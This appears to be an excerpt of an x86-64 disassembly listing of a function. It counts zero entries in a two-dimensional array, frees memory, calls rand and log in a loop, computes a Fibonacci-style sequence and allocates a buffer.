mov dword [rbp + 0xc3e4], 0
jmp 0x26e0c327d
mov eax, dword [rbp + 0xc3e8]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x79d8]
add rdx, rax
mov eax, dword [rbp + 0xc3e4]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x26e0c3276
add dword [rbp + 0xc3ec], 1
add dword [rbp + 0xc3e4], 1
cmp dword [rbp + 0xc3e4], 0x14
jle 0x26e0c3235
add dword [rbp + 0xc3e8], 1
cmp dword [rbp + 0xc3e8], 0x1b
jle 0x26e0c3229
cmp dword [rbp + 0xc3ec], 0x126
je 0x26e0c32ac
mov dword [rbp + 0x79d4], 0
mov rax, qword [rbp + 0x79d8]
mov rcx, rax
call sym.free
mov dword [rbp + 0xc3e0], 0xffffffff
add dword [rbp + 0xc3e0], 1
call sym.rand
imul eax, eax, 0x19b
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26e1680e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x79c8], rax
cmp dword [rbp + 0xc3e0], 0x8c
jle 0x26e0c32c5
mov dword [rbp + 0xc3dc], 0
mov dword [rbp + 0xc3d8], 1
mov dword [rbp + 0xc3d4], 0
mov dword [rbp + 0x79c4], 0xe7
jmp 0x26e0c336f
mov edx, dword [rbp + 0xc3dc]
mov eax, dword [rbp + 0xc3d8]
add eax, edx
mov dword [rbp + 0x134], eax
add dword [rbp + 0xc3d4], 1
mov eax, dword [rbp + 0xc3d8]
mov dword [rbp + 0xc3dc], eax
mov eax, dword [rbp + 0x134]
mov dword [rbp + 0xc3d8], eax
mov eax, dword [rbp + 0xc3d4]
cmp eax, dword [rbp + 0x79c4]
jl 0x26e0c333c
mov ecx, 0x434
call sym.malloc
mov qword [rbp + 0x79b8], rax
mov dword [rbp + 0xc3cc], 0
mov dword [rbp + 0xc3c8], 0
mov dword [rbp + 0xc3d0], 0
jmp 0x26e0c33fa
mov eax, dword [rbp + 0x7ab0]
movups xmm6, xmmword [rbp + 0xc490]
add rsp, 0xc528
pop rbx
pop rbp
ret